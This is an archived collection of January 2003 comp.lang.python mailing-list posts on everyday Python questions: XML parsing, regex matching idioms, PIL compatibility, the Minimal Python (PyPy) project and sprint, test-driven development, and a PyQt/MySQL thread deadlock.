-- 
  No.  In fact, my eyeballs fell out just from reading this question,
  so it's a good thing I can touch-type.
                                    -- John Baez, sci.physics.research



From aleax at aleax.it  Fri Jan 31 15:13:22 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 20:13:22 GMT
Subject: mention of books & extensions welcome, or...? (was Re: Scripting *of* Python)
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net> <soy_9.151609$AA2.6131659@news2.tin.it> <mailman.1044038862.11792.python-list@python.org>
Message-ID: <CNA_9.110715$0v.3202495@news1.tin.it>

holger krekel wrote:
   ...
> Anyway, I'd have prefered if you reacted to Nick instead
> of pushing the case to all of "comp.lang.python" for judgement.

???

How could Nick by himself tell me what the _consensus_ of
c.l.py may be?  Do you think he's an oracle or something?

He's already clarified that HIS remark was intended as
facetious (sorry, I didn't get it -- and neither did at
least some others, judging from posts on this thread),
but it's still relevant, I think, to try to gather a
consensus -- and I think I see one emerging.


Alex




From andersjm at inbound.dk  Sat Jan  4 08:02:09 2003
From: andersjm at inbound.dk (Anders J. Munch)
Date: Sat, 4 Jan 2003 14:02:09 +0100
Subject: Sorting out sort
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk> <v18hldk4img654@news.supernews.com> <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk> <v1b7idcfms9ne0@news.supernews.com> <mailman.1041604867.10805.python-list@python.org> <R7dF+ks/K35d089yn@the-wire.com>
Message-ID: <%XAR9.24737$Hl6.2691085@news010.worldonline.dk>

"Mel Wilson" <mwilson at the-wire.com> wrote:
>
> Still, we give up the right to write
>
> i = s[:].sort().index(a)

This is equivalent to (using my sort function):
    i  = sort(s).index(a)

functional-sort-comes-to-the-rescue-again-ly y'rs, Anders






From p-abel at t-online.de  Sat Jan 18 17:13:21 2003
From: p-abel at t-online.de (Peter Abel)
Date: 18 Jan 2003 14:13:21 -0800
Subject: Please help required urgently - xml.dom.minidom
References: <JRbW9.196$1y6.12206@nnrp1.ozemail.com.au>
Message-ID: <13a533e8.0301181413.7b006b9@posting.google.com>

"Graeme" <graeme_matthew at hotmail.com> wrote in message news:<JRbW9.196$1y6.12206 at nnrp1.ozemail.com.au>...
> Hi all
> 
> I am at the point of exploding, I have been trying to get my head around
> xml.dom.minidom
> 
> I just cannot seem to get the value for the element/node
> 
> My XML is very simple
> 
> <Order><OrderId>12345</OrderId><Delivery>Definetly Not Microsoft
> Way</Delivery><Order>

----should be   </Order>

> 
> When I pass this to my class instance and process it the output is
> 
> OrderId
> None
> 1
> Delivery
> None
> 1
> 1
> 
> please could someone explain this, many thanks
> 
> Here is my class
> 
> import xml.dom.minidom
> import Order
> import OrderLine
> 
> class OrderMessageProcessor(object):
> 
>     def __init__ (self,data=None):
> 
>         self.order = Order.Order()
>         self.data = data
> 
>     def processOrder(self):
> 
>         xmlTree = xml.dom.minidom.parseString(self.data)
> 
>         #Get a NodeList Object
>         orders = xmlTree.getElementsByTagName('Order')
> 
>         if orders.length != 0:
> 
>             #Loop nod
>             for nod in orders:
> 
>                 for elem in nod.childNodes:
> 
> 
>                     print elem.tagName
Not every Node has a tagName, since it can be a TEXT_NODE or something else
>                     print elem.nodeValue
Every Node should be testet for its type, and depending on its
type you have to do a little bit more to get its value, e.g. if its
a TEXT_NODE you get have to get all its .items and concatenate them
to get the whole string.
>                     print elem.nodeType
> 
> 
>         xmlTree.unlink()

Documentation of xml.dom.minidom is - as it says - <mini>.
You'd better referr to xml.dom's docu.

Regards
Peter



From tismer at tismer.com  Mon Jan 13 18:50:13 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:50:13 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
  Minimal Python project)
In-Reply-To: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net>
References: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net>
Message-ID: <3E2350B5.9060101@tismer.com>

David LeBlanc wrote:
> Pyth.

Sounds a bit like the winds after digesting Chili Con Carne :-)





From mtiller at ford.com  Fri Jan 24 15:08:26 2003
From: mtiller at ford.com (Michael Tiller)
Date: Fri, 24 Jan 2003 15:08:26 -0500
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com>
Message-ID: <b0s6fq$95s5@eccws12.dearborn.ford.com>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E31568E.FD9C92B5 at engcorp.com...
> Michael Tiller wrote:
> >
> > I'm puzzled by what seems like a missing piece of functionality in
Python.
> ...
> > In C++, I could write a statement like this:
> >
> > if (match=re.match(pattern, string))
> >   // do something with the match object
> >
> > But I cannot figure out how to do the equivalent thing in Python.  The
idea
> > here is to have an assignment statement within an if statement so that I
> > don't have to call match twice or obfuscate the code.  It seems to me
that
> > my current options are:
> >
> > match = re.match(pattern, string)
> > if match:
> >   // do something with match object
> >
> > -or-
> >
> > if re.match(pattern, string):
> >     match = re.match(pattern, string)
> >
> > The first one seems unnecessarily verbose and the second one is
inefficient.
> > Are there any other options?
>
> Yes, the third option is this: get rid of the urge to do this, and
> the belief that it is a good idea.
>
> Such structures have long been fertile ground for bugs in C and
> its children, and reduce the readability of code.  The "functionality"
> you want is actually a deprecated feature in some companies, where
> assignment-tests like that are outlawed in if/for/while statements.
>
> If you can start to think in this style, your code will become more
> readable and you'll have fewer concerns about "missing" functionality
> in Python.

I want to be clear about something.  I have no particular fondness for
the...

if (a=b) then ...

"feature" in C.  I agree that *THAT SYNTAX* is confusing.  But lets not
throw the baby out with the bathwater just because somebody at AT&T didn't
forsee this confusion 30 years ago.  Many people have argued that it is the
Pythonic Way to separate assignment from comparison and that is fine.  But
lets be clear about the fact that you are giving up more than just a
confusing syntactic construct.  My fragment of code didn't expose the
complete issue.  My main problem is that I wanted to do involved mutually
exclusive cases, e.g.,

if (match=re.match(pattern1,string)):
  // Hey I found something that matches pattern1
elif (match=re.match(pattern2,string)):
  // This matches pattern2
elif (match=re.match(pattern3,string)):
  // This matches pattern3
else:
  // I didn't find a match

Now for those who think that the above code is "obfuscated", I would argue
that this is far worse:

match = re.match(pattern1,string)
found_already=0
if match is not None:
  // I found something that matches pattern1.  Oops, I don't want to
continue checking all
  // the other alternatives so I better set a flag
  found_already=1
match = re.match(pattern2,string)
if not found_already and match is not None:
  // I found something that matches pattern2 but I need to be sure not to
check any other
  // possibilities
  found_already=1
match = re.match(pattern3,string)
if not found_already and match is not None:
  // I found pattern3 and even though there are no more patterns to check, I
still need to set
  // this flag so I can trigger the "else" clause
  found_already=1
if not found_already:
  // I didn't find a match

My thanks go out to those people who mentioned the "holder" idiom (rather
than just throwing up their arms in ideological disgust at the idea of
somebody even suggesting such a construct) since the "holder" idiom was
exactly what I needed because it allows me to use if..elif..else without the
easy to misunderstand syntax of C and C++.

--
Mike






From covino at merate.mi.astro.it  Thu Jan 16 08:51:20 2003
From: covino at merate.mi.astro.it (Stefano Covino)
Date: Thu, 16 Jan 2003 14:51:20 +0100
Subject: Socket communications
Message-ID: <b06df6$ls2ug$1@ID-145579.news.dfncis.de>

Dear friends,


I would like to develop an application that requires to open socket 
connections from/to other computers. 

Therefore I wonder if you know if there are libraries with some or most of 
the code already developed.

Do you have any suggestion?


        Stefano


 



From chris.lyon at spritenote.co.uk  Fri Jan 17 06:29:45 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 17 Jan 2003 03:29:45 -0800
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu>
Message-ID: <d232c5e.0301170329.1c8881d8@posting.google.com>

"N. Thomas" <nthomas at cise.ufl.edu> wrote in message news:<slrnb293jk.1hr.nthomas at rain.cise.ufl.edu>...
> ...or rather "XML's data structures vs Python's data structures"
> 
> So I prototyped a program that keeps its data stored in an XML document,
> via PyXML's DOM API. Whenever I want to view/add/remove/change data, I
> traverse along the XML nodes, and do what I want with it. It took a
> while to get used to DOM, but after a bit, I got the hang of it.
> 
> [time goes by]
> 
> I then realized that I could have instead stored my data in a Python
> data structure (nested lists, dictionaries, etc.), and have some
> function (i.e. p2xml() and xml2p()) that would convert to and from XML.
> 
> Ultimately, the data will be saved in XML format, but it would be much
> easier to traverse/manipulate in my program.
> 
> Are there any issues that I should be aware of regarding this? I mean,
> are there situations where is it better to save one's data in XML
> internally as opposed to using the language's native structures, and
> exporting to/from XML?
> 
> thanks,
> thomas


Is this not a pickle to XML file conversion issue?



From sandorlevi at yahoo.com  Mon Jan 20 16:05:25 2003
From: sandorlevi at yahoo.com (Levente Sandor)
Date: 20 Jan 2003 13:05:25 -0800
Subject: PIL: loading _imaging fails allthough it s there
References: <b0f49t$iig$1@news.tuwien.ac.at>
Message-ID: <8b5e42a6.0301201305.32697545@posting.google.com>

"meinrad recheis" <meinrad.recheis at aon.at> wrote in message news:<b0f49t$iig$1 at news.tuwien.ac.at>...
> I am using Python23 on Win2k and py22b1-pil-1.1.2-20011022.exe

You are trying to use a PIL package compiled for the 2.2 version with
Python 2.3, which aren't binary compatible between them. Note that
Python 2.3 is in alpha stage, so it might be difficult to find an
already updated third-party module for it.
You may try to compile it yourself, or you can download Python 2.2 and
get the PIL package for that version.

----
levi



From max at alcyone.com  Mon Jan 13 01:22:45 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 22:22:45 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] 
 Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <87hecdvb00.fsf@tao.localdomain>
Message-ID: <3E225B35.23C634AE@alcyone.com>

Patrick W wrote:

> A three letter palindrome that is both onomatapoeic (sp?) and also
> connotes 'smallness':
> 
> pip. (Python in Python).

And please make it PIP, not PiP :-).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nothing is so good it lasts eternally
\__/ Florence, _Chess_
    Max Pandaemonium / http://www.maxpandaemonium.com/
 A sampling of Max Pandameonium's music.



From pyth at devel.trillke.net  Fri Jan 10 19:27:37 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sat, 11 Jan 2003 01:27:37 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>; from edream@tds.net on Fri, Jan 10, 2003 at 11:37:09PM +0000
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
Message-ID: <20030111012737.Q349@prim.han.de>

Edward K. Ream wrote:
> > As Armin Rigo of PSYCO fame takes part in the effort,
> we are confident that MinimalPython will eventually
> run faster than today's CPython.
> 
> This announcement seems to be making a truly remarkable claim, namely that
> one could increase the speed of  C code by recoding it in Python and then
> applying Psycho to it.

Sure, you can't generally get faster than C code.  But then,
we just said faster than CPython (and note 'eventually').  
Armin Rigo gives some ideas in

    http://psyco.sourceforge.net/plans.html

why a Python core can be faster.  Basically, PSYCO can't 
currently do as much with the frame object and Interpreter
(in ceval.c) as it would like to.  

> I am inclined to disbelieve this claim.  Why should Psycho be able to do
> better than an optimizing C compiler applied to hand-written interpreter
> code and/or library code?  The only possibilities I can think of:
> 
> 1. The GIT somehow has access to enough run-time information to perform some
> truly excellent optimizations.

PSYCO currently emits Machine code if it has gathered enough
information.  Several statements can (in extreme cases) collaps 
into one machine instruction.  Armin explained at EuroPython
that this is more a side effect than the result of deeply magic 
special optimizations.

I leave further and more detailed discussion to Armin on the 
pypy list.  There already have been quite some repetitions 
of issues and that is the reason for the mailing list in 
the first place. 

But please note that speed probably won't be the first 
goal for quite some time, anyway. 

regards,

    holger




From sean at activeprime.com  Thu Jan  9 09:49:14 2003
From: sean at activeprime.com (Sean)
Date: 9 Jan 2003 06:49:14 -0800
Subject: Small problem when overloading member functions...
References: <ef7a350b.0301081234.69f16267@posting.google.com>
Message-ID: <ef7a350b.0301090649.65a98b6d@posting.google.com>

Thank you everyone for the advice!

Peter and Laotseu:  Yeah, I new 'overloading' wasn't the right term,
but I'm still a C++ guy at heart and I had no idea what the correct
term would be.

Jack:  Unfortunatly, inheritance was not an option and I had to make
sure only that specific instance's method was getting rebound.

Jeff's solution was the one that worked best for this system.  I know
it's a really strange thing to have to do, but I'm building this
system for other people to develop on and I need to have a way of
knowing when they want to rebind a method.  Thanks everyone!

-Sean



From edlsoft at mindspring.com  Thu Jan  9 08:51:02 2003
From: edlsoft at mindspring.com (Burt Leavenworth)
Date: Thu, 09 Jan 2003 13:51:02 GMT
Subject: TKINTER glitch on 2.2.2
Message-ID: <3e1d7d02.108813@news1.news.adelphia.net>

I am upgrading from 1.5.2 to 2.2.2 but now my GUI applications which
work on 1.5.2 no longer work properly.

In particular, with the simplest possible widget, when I hit the close
button (x), the sytem hangs.

Any ideas?

Burt Leavenworth
edlsoft at adelphia.net



From pyth at devel.trillke.net  Thu Jan  2 12:03:30 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 2 Jan 2003 18:03:30 +0100
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
In-Reply-To: <3E1467EE.93860EC4@engcorp.com>; from peter@engcorp.com on Thu, Jan 02, 2003 at 11:25:18AM -0500
References: <3e145e67_1@goliath.newsgroups.com> <3E1467EE.93860EC4@engcorp.com>
Message-ID: <20030102180329.G2841@prim.han.de>

Peter Hansen wrote:
> Brad Clements wrote:
> > 
> > I'm looking for war stories, comments and insight regarding suitable
> > development methodologies for "lone wolf" programmers.
> > 
> > I'm intrigued by TDD and have started "test first, code second" on an
> > in-progress project (a large Zope/Python monster that is a wart-on-a-wart, a
> > bag-on-a-bag). Fortunately conversion to SAPDB is giving me an opportunity
> > to clean house.
> 
> I have been using all aspects of XP which are not obviously useless with
> solitary programmers (pair programming being the obvious one, and stand-up
> daily scrums being another :-) with great success.  By far the most useful
> on has been to adopt TDD.

thanks, peter.  you contributed quite a lot to my adoption of Test Driven
Development.  There were some other forces (e.g. i was taking
part in zope3 sprints) but you have a good share.  

Write-tests-first has changed my programming attitude forever
and for the better.  Of course, in the previous 20 years i have done
assembler, C, C++ and Java so it wasn't as obvious to try earlier
but with python.  After all, python is a perfect match for 
write-tests-first methods.  btw, i am still sad on a lost opportunity
(three years earlier) where i didn't pick up python although i saw the
elegance.  My mind was still clouded by doing UML/C++/Java in a big 
corporate environment.

Even when presenting code to questions on c.l.py i find myself writing
some tiny tests first.  it's often *faster* than to manually
check if your code does the right thing (and you are never sure). 
Plus you get a much better idea of what you really want to do.  And 
if your thoughts on API-usage make sense from the *using* perspective. 
In a way, writing tests implements 'eat your own dogfood' early on. 
If it gets difficult to write tests you know that you could do better. 

testing-the-new-year'ly yours, holger




From max at alcyone.com  Sat Jan 25 20:50:15 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 25 Jan 2003 17:50:15 -0800
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com> <b0usjm$jsl$1@bob.news.rcn.net>
Message-ID: <3E333ED7.ADEB8CDC@alcyone.com>

"Aaron K. Johnson" wrote:

> I agree. Plus, I'm not interested in working THAT hard to be that
> anal-retentive about data which some would argue is still vague enough
> to be
> discounted.

Well, it depends on what you think the data mean.  What you're measuring
is the number of unique posters per hierarchy over some period of time. 
To first order, your figures are probably good for that (provided you're
doing it right, etc.).  Other complicating factors such as spam will
throw a wrench into the validity of the measurable.

But now taking that measurable (unique posters per hierarchy per unit
time) and trying to apply it to something more general and far more
indirect (like the popularity of a language) is a bi-ig step.  There is
surely a _correlation_, but how strong that correlation is and what goes
into it is extremely hard to judge.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Walk a mile in my shoes / And you'd be crazy too
\__/ Tupac Shakur
    Crank Dot Net / http://www.crank.net/
 Cranks, crackpots, kooks, & loons on the Net.



From LogiplexSoftware at earthlink.net  Thu Jan  9 14:48:29 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 09 Jan 2003 11:48:29 -0800
Subject: Do pythons like sugar?
In-Reply-To: <RSjT9.38030$1c.26589@nwrddc01.gnilink.net>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
	 <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com>
	 <avjj5d$8cn$1@slb3.atl.mindspring.net>
	 <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>
	 <yyy1y3m4c6d.fsf@adams.patriot.net>
	 <RSjT9.38030$1c.26589@nwrddc01.gnilink.net>
Message-ID: <1042141709.1744.1.camel@software1.logiplex.internal>

On Thu, 2003-01-09 at 11:14, Carl Banks wrote:
> Nick Vargish wrote:
> > Afanasiy <abelikov72 at hotmail.com> writes:
> > 
> >> You don't know what I am doing. My design is perfect.
> > 
> > c.f. 'hubris'.
> 
> 
> I hope everyone else realizes he (Afanasiy) was being ironic.  I
> realize using sublte irony in a computer programming chat room is not
> the smartest thing to do, as programmers tend not to be the most
> metaphorical people in the world.

I had a difficult time telling and I've never made a mistake.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From hpk at trillke.net  Sat Jan 25 18:53:21 2003
From: hpk at trillke.net (holger krekel)
Date: Sun, 26 Jan 2003 00:53:21 +0100
Subject: ann: Minimal PyPython sprint
Message-ID: <20030126005321.E10805@prim.han.de>

------------------------------------------------------
     Not-So-Mini Sprint towards Minimal PyPython 

               17th-23rd Feb. 2003

         "Trillke-Gut", Hildesheim, Germany
------------------------------------------------------

Everybody is invited to join our first sprint for PyPython.
Or was it Minimal Python?  Nevermind!

We will have one or - if needed - two big rooms, beamers 
for presentations (and movies?), a kitchen, internet and a 
piano.  There is a big park and some forest in case you 
need some fresh air.  Short Ad-Hoc presentations about 
our areas of interest, projects or plain code will 
certainly be appreciated.

------------------------------------------------------
Goals of the first Minimal PyPython Marathon 
------------------------------------------------------

- codify ideas that were recently discussed on the
  pypy-dev codespeak list.  

- port your favorite C-module to Python (and maintain it :-)

- rebuild CPython C-implementations in pure python, e.g.
  the interpreter, import mechanism, builtins ...

- build & enhance infrastructure (python build system, 
  webapps, email, subversion/cvs, automated testing, ...)

- further explore the 'ctypes' approach from Thomas Heller
  to perform C/Machine-level calls from Python without 
  extra C-bindings. 

- settle on concepts 

- focus on having releasable results at the end

- have a lot of fun meeting like minded people.

------------------------------------------------------
Current Underlying Agreements (TM)
------------------------------------------------------

Please note, that we have reached some agreement on a 
number of basic points:

a) the Python language is not to be modified.

b) simplicity wins. especially against optimization.

c) if in doubt we follow the CPython/PEP lead.

d) CPython core abstractions are to be
   cleanly formulated in simple Python.

e) Macro-techniques may be used at some levels if 
   there really is no good way to avoid them.
   But a) to c) still hold.

f) our Pythonic core "specification" is intended
   to be used for all kinds of generational steps
   e.g to C, Bytecode, Objective-C, assembler and 
   last-but-not-least PSYCO-Specialization.

g) if in doubt we follow Armins and Christians lead
   regarding the right abstraction levels.  And any
   other python(dev) people taking responsibility.

h) there are a lot of wishes, code, thoughts, 
   suggestions and ... names :-)


------------------------------------------------------
How to proceed if you are interested
------------------------------------------------------

If you want to come - even part-time - then please 
subscribe at

    http://codespeak.net/mailman/listinfo/pypy-sprint

where organisational stuff will be communicated.  
The sprint-location's city is called Hildesheim which 
is close to Hannover (200 km south of Hamburg). 

Code-related discussions continue to take place on the 
pypy-dev list.  

For people who don't want or can't spend the money for
external rooms i can probably arrange something but it 
will not be luxurious.  

FYI there are already 7-8 people who will come among
them Christian Tismer, Armin Rigo and Michael Hudson. 


------------------------------------------------------
Disclaimer
------------------------------------------------------

There is no explicit commercial intention behind the
organisation of the sprint (yet).  On the implicit hand 
socializing with like-minded people tends to bring up 
future opportunities.  

The physical sprint location is provided by the people 
living in this house:

    http://www.trillke.net/images/trillke_schnee.png

although snow is gone for the moment.  

and-who-said-the-announcement-would-be-minimal'ly y'rs,

    holger




From essai1 at mci.local  Mon Jan 27 15:16:58 2003
From: essai1 at mci.local (News M Claveau /Hamster-P)
Date: Mon, 27 Jan 2003 21:16:58 +0100
Subject: BDE / ODBC with Python ?
References: <3E35249D.8010008@web.de>
Message-ID: <b145ap$g07$1@news-reader11.wanadoo.fr>

Bonjour !

Je suis aussi TRES int?ress? pour un lien BDE <=> Python. Mais pas en ODBC,
car :
    - ODBC est beaucoup plus lent que le BDE
    - ODBC g?re moins bien les acc?s concurrents en r?seau (et les verrous)
    - il y a plusieurs versions ODBC pour Paradox, mais toutes ne peuvent
pas acc?der aux m?me formats (4, 5 ou 7).

J'ai d?j? post? une message, le 31.12.02 ? 8 h.12, sans r?ponse.

Pour info, j'ai d?velopp? une extension Python pour Paradox, via COM :
PONX.  Voir sur mon site ou sur le NG.

@-salutations
--
Michel Claveau
site :   http://mclaveau.com
NG :   news://news.zoo-logique.org/programmation.Paradox

------------------------

Hi !

I am VERY interessed for BDE <=> Python, but not with ODBC, because :
    - ODBC est very slowest than BDE
    - ODBC est bad in Lan Vs BDE
    - there are many versions od ODBC, but are differents for format of
Paradox files (4, 5 or 7)

I had post a msg 12/31/02, at 8h.12, but  no answer.

Info, i had develop  a COM-server Python for Paradox : PONX.  See on my
site, or on the NG

site :   http://mclaveau.com
NG :   news://news.zoo-logique.org/programmation.Paradox





From mystery at golden.net  Sun Jan  5 19:02:28 2003
From: mystery at golden.net (Etienne Charland)
Date: Sun, 5 Jan 2003 19:02:28 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <b16e4ef7.0301051547.139ab3e@posting.google.com>
Message-ID: <0P3S9.90$Xd6.7928931@mantis.golden.net>

Yes, that's it. But if it can't be done easily in Python, it already answers
much of my question. But still, what would it looks like?

"Stephen Ferg" <steve at ferg.org> wrote in message
news:b16e4ef7.0301051547.139ab3e at posting.google.com...
> .Net is a framework; Python is a language.  So they aren't really
> comparable.
>
> From your message, it looks like what you're looking for is a
> comparison between Python and VB.net.  And specifically, you would
> like to see the code for a Python program that does the same job as
> the VB program that you posted.
>
> Is that right?
>
> Just-trying-to-get-clear-about-the-question-ly,
> Steve Ferg





From acid_til at yahoo.com  Fri Jan 31 10:46:51 2003
From: acid_til at yahoo.com (Luc)
Date: Fri, 31 Jan 2003 10:46:51 -0500
Subject: HOWTO : Py_CompileString !?!?!
In-Reply-To: <memo.20030130190756.116A@a.radioscape.com>
References: <OXa_9.4120$nD1.943639@news20.bellglobal.com> <memo.20030130190756.116A@a.radioscape.com>
Message-ID: <sOw_9.5158$nD1.1169113@news20.bellglobal.com>

Mark Charsley wrote:
> In article <OXa_9.4120$nD1.943639 at news20.bellglobal.com>, 
> acid_til at yahoo.com (Luc) wrote:
> 
> 
>>>>I'm trying to embed python in my C++ application. I have a python 
>>
>>source >>file names test.py and what I want to do is first try to 
>>compile it to >>see if any syntax error or import error occurs.
> 
> 
>>Here is the script in question :
>>
>>import FOMath
>>#FOMath has a method called PointValue()
>>def test():
>>	print FOMath.PointdddValue()
>>
>>test()
>>
>>This should't compile because a syntax error is present...
> 
> 
> There isn't a syntax error I can see. Until you run the string, python 
> doesn't know that FOMath hasn't had a function called PointdddValue added 
> to it. 

If I understand correctly, because Python is interpreted anything goes 
for functions names and variables... until runtime. If such syntax error 
is present the runtime will catch it. Right ???

> 
> Now if you left out the colon in "def test():", that _would_ be a syntax 
> error, and Py_CompileString would return NULL.
> 
> 
>>The way I compile the code from C++ is done like so :
>>
>>//str contains the file that just loaded...
>>Py_CompileString((char*)str.c_str(), "<test.py>", Py_file_input);
> 
> 
> That looks about right.
> 
> HTH
> 
> Mark




From nav at adams.patriot.net  Wed Jan  1 18:16:59 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 01 Jan 2003 18:16:59 -0500
Subject: HELP! Must choose language!
References: <20021229230751.24148.00000389@mb-bj.aol.com> <yyyk7hrikh9.fsf@adams.patriot.net> <mailman.1041328146.32598.python-list@python.org> <3E12642D.6382DC5A@alcyone.com>
Message-ID: <yyyhecsfok4.fsf@adams.patriot.net>

Erik Max Francis <max at alcyone.com> writes:

> If Java were to be acceptable for commercial usage, what would prevent
> Python from it?

I hate to say it, but "managerial mind-share."  Somehow, Java managed
to break into management thought patterns as something trendy, useful,
or widespread. The widespread bit is actually becoming a
self-fulfilling prophecy. 

Something that I always find amazing is that there is actually a lot
of resistence to using any open source software in the commercial
world. Java actually earns some respect in those circles _because_ it
is largely the "property" of a single company. I've had a hosting
company tell me that their network could not be source of a problem we
were experiencing, because they used "proprietary and very expensive
software" to configure and monitor it...

What we need for Python to get commercial attention is for some large
companies to start charging real money for development environments,
libraries, and consulting. Then we might see Python take off in the
commercial sector. Also good would be for some proprietary and very
expensive software packages start supplying Python APIs or embedding.

Happy Occidental New Year, everyone!

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From peter at engcorp.com  Thu Jan  2 09:30:13 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 09:30:13 -0500
Subject: Q: How to UDPServer ??
References: <auvks1$atb$1@mail.cn99.com> <3E136F3A.5DA5E216@engcorp.com> <av0o7t$18qc$1@mail.cn99.com>
Message-ID: <3E144CF5.AF542CFC@engcorp.com>

Ripper John wrote:
> 
> "Peter Hansen" <peter at engcorp.com> wrote:
> > Looks to me like you need to call serve_forever() on the UDPQuoteSrv
> > as well, but of course you can't do that on both servers from the
> > same thread and get useful results.  Try changing the last line above
> > to use the UDPQuoteSrv and see if it works.
> 
> You are right! serve_forever() can work!
> But, how can I run both servers in a .py file?

Learn about using threads...

-Peter



From kibab at icehouse.net  Wed Jan  1 12:58:27 2003
From: kibab at icehouse.net (Kaleb Pederson)
Date: Wed, 1 Jan 2003 09:58:27 -0800
Subject: pyqt/mysqld thread deadlock
Message-ID: <200301010958.45042.kibab@icehouse.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Ok. I have a PyQt program using mysql as a database with mysqldb as my 
database client. I'm spawning qt threads to do all the work before I call a 
postevent to let my application know I'm done. 
 
It turns out, however, that the thread locks in the middle of my run() call 
and never completes. I'm cross-posting this message as I'm not familiar with 
Python extension modules and I don't know if PyQt could have caused this, it 
is a Python bug (or feature) or if there is a problem in the mysqldb module 
code. 
 
Here's my run call: 
 
 def run(self): 
 """ called after the thread is spawned """ 
 try: 
 
 # never makes it through the quick_find_customer call.... 
 self.data = quick_find.quick_find_customer(self.parameters) 
 print "quick find returned:",self.data 
 
 event = QCustomEvent(self.eventID) 
 event.setData(self.data) 
 
 QThread.postEvent(self.receiver,event) 
 
 except Exception, msg: 
 print msg 
 
 
I traced through everything and it seems to be blocking in the mysql code: 
 
 def _execute(self, query, args): 
 # makes it into the function but ... 
 from types import ListType, TupleType 
 from sys import exc_info 
 # it never makes it this far.... 
 try: 
 if args is None: 
 r = self._query(query) 
 
Once it locks, I get the following backtrace (using a full debug build of 
Python/PyQt/etc.): 
 
#0 0x4019fd49 in sigsuspend () from /lib/libc.so.6 
#1 0x40033858 in __pthread_wait_for_restart_signal () from 
/lib/libpthread.so.0 
#2 0x400300eb in pthread_cond_wait () from /lib/libpthread.so.0 
#3 0x080b5c0e in PyThread_acquire_lock (lock=0x813d418, waitflag=1) at 
Python/thread_pthread.h:374 
#4 0x080a5874 in lock_import () at Python/import.c:166 
#5 0x080a81b2 in PyImport_ImportModuleEx (name=0x8182fc4 "types", 
globals=0x87f56a4, locals=0x8114484, fromlist=0x87f83f4) 
 at Python/import.c:1657 
#6 0x080f617b in builtin___import__ (self=0x0, args=0x813ab0c) at 
Python/bltinmodule.c:40 
#7 0x080f3ec6 in PyCFunction_Call (func=0x81379f0, arg=0x813ab0c, kw=0x0) at 
Objects/methodobject.c:79 
#8 0x080cdd9b in PyObject_Call (func=0x81379f0, arg=0x813ab0c, kw=0x0) at 
Objects/abstract.c:1688 
#9 0x0808ea7b in PyEval_CallObjectWithKeywords (func=0x81379f0, arg=0x813ab0c, 
kw=0x0) at Python/ceval.c:3058 
#10 0x0808a3f8 in eval_frame (f=0x852f99c) at Python/ceval.c:1843 
 
<snip> 
 
#32 0x0808d204 in PyEval_EvalCodeEx (co=0x870c6b0, globals=0x871a6cc, 
